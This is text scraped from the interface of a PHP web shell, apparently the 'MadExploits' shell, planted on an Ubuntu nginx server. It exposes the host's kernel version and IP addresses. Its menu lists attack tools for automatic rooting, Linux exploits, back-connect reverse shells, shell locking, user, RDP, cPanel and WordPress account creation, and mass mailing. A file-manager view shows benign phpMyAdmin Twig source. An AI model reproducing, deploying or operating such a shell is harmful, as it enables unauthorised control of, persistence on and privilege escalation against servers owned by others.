Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
phpmyadmin /
libraries /
classes /
Twig /
I18n /
[ HOME SHELL ]
Name
Size
Permission
Action
NodeTrans.php
4.63
KB
-rw-r--r--
TokenParserTrans.php
2.24
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TokenParserTrans.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Twig\I18n; use PhpMyAdmin\Twig\Extensions\TokenParser\TransTokenParser; use Twig\Error\SyntaxError; use Twig\Token; class TokenParserTrans extends TransTokenParser { /** * Parses a token and returns a node. * * @param Token $token Twig token to parse * * @return NodeTrans * * @throws SyntaxError */ public function parse(Token $token) { $lineno = $token->getLine(); $stream = $this->parser->getStream(); $count = null; $plural = null; $notes = null; $context = null; if (! $stream->test(Token::BLOCK_END_TYPE)) { $body = $this->parser->getExpressionParser()->parseExpression(); } else { $stream->expect(Token::BLOCK_END_TYPE); $body = $this->parser->subparse([$this, 'decideForFork']); $next = $stream->next()->getValue(); if ($next === 'plural') { $count = $this->parser->getExpressionParser()->parseExpression(); $stream->expect(Token::BLOCK_END_TYPE); $plural = $this->parser->subparse([$this, 'decideForFork']); if ($stream->next()->getValue() === 'notes') { $stream->expect(Token::BLOCK_END_TYPE); $notes = $this->parser->subparse([$this, 'decideForEnd'], true); } } elseif ($next === 'context') { $stream->expect(Token::BLOCK_END_TYPE); $context = $this->parser->subparse([$this, 'decideForEnd'], true); } elseif ($next === 'notes') { $stream->expect(Token::BLOCK_END_TYPE); $notes = $this->parser->subparse([$this, 'decideForEnd'], true); } } $stream->expect(Token::BLOCK_END_TYPE); $this->checkTransString($body, $lineno); return new NodeTrans($body, $plural, $count, $context, $notes, $lineno, $this->getTag()); } /** * Tests the current token for a type. * * @param Token $token Twig token to test * * @return bool */ public function decideForFork(Token $token) { return $token->test(['plural', 'context', 'notes', 'endtrans']); } }
Close